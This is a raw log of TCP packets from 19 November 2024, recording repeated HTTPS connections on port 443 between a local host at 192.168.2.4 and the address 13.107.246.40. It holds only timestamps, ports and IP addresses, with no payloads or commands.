Nov 19, 2024 22:06:56.013449907 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.013514996 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.013566971 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.013609886 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.013642073 CET	49740	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.013657093 CET	443	49740	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015084028 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015353918 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015418053 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.015434980 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.015444994 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015453100 CET	49741	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.015456915 CET	443	49741	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015706062 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.015738964 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.015841007 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.016005993 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.016017914 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.016710043 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.016865015 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.016923904 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.016946077 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.016954899 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017010927 CET	49739	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.017018080 CET	443	49739	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017508984 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017530918 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017590046 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017589092 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.017653942 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.017777920 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.017777920 CET	49742	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.017818928 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.017852068 CET	443	49742	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.018007994 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.018079042 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.018147945 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.018718958 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.018752098 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.019224882 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.019237041 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.019337893 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.019378901 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.019402027 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.020359993 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.020386934 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.020469904 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.020587921 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.020607948 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.280858040 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.281311035 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.281339884 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.281793118 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.281796932 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.303993940 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.304543972 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.304574013 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.304634094 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.304815054 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.304836035 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.304893970 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.304908991 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.305273056 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.305279016 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.305362940 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.305618048 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.305627108 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.305949926 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.305955887 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.308521032 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.308756113 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.308788061 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.309075117 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.309086084 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.461931944 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.462179899 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.462347031 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.466578007 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.466595888 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.466608047 CET	49743	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.466613054 CET	443	49743	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.485970974 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.485987902 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486068964 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.486237049 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.486241102 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486265898 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486330986 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486500025 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486676931 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.486677885 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.486677885 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.486861944 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.486913919 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.488058090 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.488209009 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.488256931 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.490622044 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.490645885 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.490659952 CET	49746	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.490668058 CET	443	49746	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.491038084 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.491529942 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.491597891 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.502803087 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.502803087 CET	49747	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.502868891 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.502907991 CET	443	49747	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.517502069 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.517582893 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.517757893 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.520884991 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.520921946 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.521190882 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.521190882 CET	49744	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.521220922 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.521236897 CET	443	49744	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.557178020 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.557199001 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.557252884 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.610712051 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.610723972 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.612432003 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.612515926 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.612582922 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.612715006 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.612735987 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.613375902 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.613462925 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.613523006 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.614075899 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.614108086 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.694014072 CET	49745	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.694077015 CET	443	49745	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.765526056 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.765995026 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.766010046 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.766468048 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.766472101 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.803546906 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.803981066 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.804039001 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.804358959 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.804373026 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.896526098 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.896996021 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.897057056 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.897506952 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.897520065 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.897836924 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.898114920 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.898188114 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.898463964 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.898478031 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.899878979 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.900101900 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.900115013 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.900424004 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.900428057 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.946161032 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.946407080 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.946460962 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.946508884 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.946518898 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.946541071 CET	49748	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.946544886 CET	443	49748	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.949027061 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.949069023 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.949145079 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.949266911 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.949294090 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.984056950 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.984184980 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.984256029 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.984338045 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.984338045 CET	49749	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.984401941 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.984427929 CET	443	49749	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.986304998 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.986361980 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:56.986462116 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.986593962 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:56.986624002 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.078675032 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.078840017 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.079046011 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.079046965 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.079046965 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.081639051 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.081721067 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.081804037 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.081928015 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.081963062 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.082803965 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.083180904 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.083239079 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.083292007 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.083292007 CET	49752	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.083334923 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.083359003 CET	443	49752	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.085447073 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.085530043 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.085601091 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.085712910 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.085743904 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.108175993 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.111900091 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.111955881 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.112404108 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.112416029 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.112425089 CET	49750	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.112430096 CET	443	49750	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.115390062 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.115470886 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.115546942 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.116591930 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.116627932 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.226510048 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.226921082 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.226979017 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.227350950 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.227364063 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.268497944 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.268838882 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.268881083 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.269356012 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.269367933 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.364634037 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.364979982 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.365036011 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.365377903 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.365389109 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.366792917 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.367136002 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.367196083 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.367508888 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.367536068 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.381386995 CET	49751	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.381447077 CET	443	49751	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.399513006 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.399820089 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.399874926 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.400203943 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.400216103 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.408066988 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.408705950 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.408763885 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.408813953 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.408813953 CET	49753	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.408844948 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.408869982 CET	443	49753	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.410893917 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.410949945 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.411027908 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.411159039 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.411190033 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.450097084 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.450263023 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.450334072 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.450843096 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.450872898 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.450896978 CET	49754	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.450911999 CET	443	49754	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.453459024 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.453511953 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.453598022 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.453744888 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.453768015 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.545068026 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.545252085 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.545480967 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.545567989 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.545567989 CET	49755	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.545608044 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.545634985 CET	443	49755	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547349930 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547408104 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547483921 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.547563076 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.547563076 CET	49756	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.547604084 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547653913 CET	443	49756	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547869921 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.547908068 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.547969103 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.548052073 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.548062086 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.549380064 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.549463987 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.549554110 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.549701929 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.549741030 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.600388050 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.600545883 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.600629091 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.600769043 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.600769997 CET	49757	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.600820065 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.600852013 CET	443	49757	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.602546930 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.602559090 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.602626085 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.602719069 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.602724075 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.692222118 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.692610025 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.692668915 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.693027973 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.693046093 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.743069887 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.743438005 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.743500948 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.743817091 CET	49759	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.743832111 CET	443	49759	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.831104994 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.844443083 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.844665051 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.844686031 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.845124006 CET	49760	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.845129013 CET	443	49760	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.845550060 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.845611095 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.845828056 CET	49761	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.845843077 CET	443	49761	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.872813940 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.872978926 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.873054028 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.873204947 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.873205900 CET	49758	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.873249054 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.873276949 CET	443	49758	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.875550985 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.875650883 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.875732899 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.875844002 CET	49763	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.875864029 CET	443	49763	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.894417048 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.894725084 CET	49762	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:06:57.894750118 CET	443	49762	13.107.246.40	192.168.2.4
Nov 19, 2024 22:06:57.895128012 CET	49762	443	192.168.2.4	13.107.246.40
